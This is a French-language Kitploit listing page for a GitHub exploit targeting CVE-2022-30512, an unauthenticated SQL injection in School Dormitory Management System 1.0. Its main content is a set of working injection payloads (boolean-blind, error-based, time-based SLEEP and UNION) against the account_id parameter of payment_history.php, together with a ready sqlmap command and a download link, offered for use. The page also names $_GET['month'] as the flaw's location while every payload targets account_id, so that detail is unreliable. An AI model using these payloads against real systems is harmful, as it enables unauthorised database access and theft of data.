Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-30512 — Système de gestion de dortoir scolaire 1.0 - Injection SQL non authentifiée | Kitploit
Outils/GitHubGitHub/bigzooooz/cve-2022-30512
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHubbigzooooz/cve-2022-30512

CVE-2022-30512

Système de gestion de dortoir scolaire 1.0 - Injection SQL non authentifiée

Voir le dépôt
1il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-30512

Système de gestion des dortoirs scolaires 1.0 - Injection SQL non authentifiée

Titre de l'exploit : Système de gestion des dortoirs scolaires 1.0 - Injection SQL non authentifiée

Date : 2022-05-25

CVE : CVE-2022-30512

Auteur de l'exploit : Abdulaziz Saad (@b4zb0z)

Page d'accueil du fournisseur : https://www.sourcecodester.com/

Lien du logiciel :

https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html

Version : 1.0

Testé sur : LAMP, Ubuntu

[#] Emplacement de la vulnérabilité : $_GET['month'] dans /dms/admin/accounts/payment_history.php:31

root@kitploit:~
Paramètre : account_id (GET)
root@kitploit:~
Type : aveugle booléen
Titre : AND aveugle booléen - clause WHERE ou HAVING
Charge : account_id=2' AND 6703=6703 AND 'jmUS'='jmUS
root@kitploit:~
Type : basé sur les erreurs
root@kitploit:~
Titre : MySQL >= 5.0 AND basé sur les erreurs - clause WHERE, HAVING, ORDER BY ou GROUP BY (FLOOR)
Charge : account_id=2' AND (SELECT 7343 FROM(SELECT COUNT(*),CONCAT(0x71716b7671,(SELECT (ELT(7343=7343,1))),0x7170626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'htiO'='htiO
root@kitploit:~
Type : aveugle temporel
root@kitploit:~
Titre : MySQL >= 5.0.12 AND aveugle temporel (requête SLEEP)
Charge : account_id=2' AND (SELECT 2865 FROM (SELECT(SLEEP(5)))hWAb) AND 'pbGX'='pbGX
root@kitploit:~
Type : requête UNION
root@kitploit:~
Titre : requête UNION générique (NULL) - 7 colonnes
Charge : account_id=2' UNION ALL SELECT CONCAT(0x71716b7671,0x6458467273575152444c465a7a5276684f74756c7a754b6d506a6c437a5a516479574d5844694b78,0x7170626a71),NULL,NULL,NULL,NULL,NULL,NULL-- -

[#] Exploitation avec SQLMAP : sqlmap -u "http://localhost/dms/admin/accounts/payment_history.php?account_id=2" --dbms=mysql

Télécharger l’outil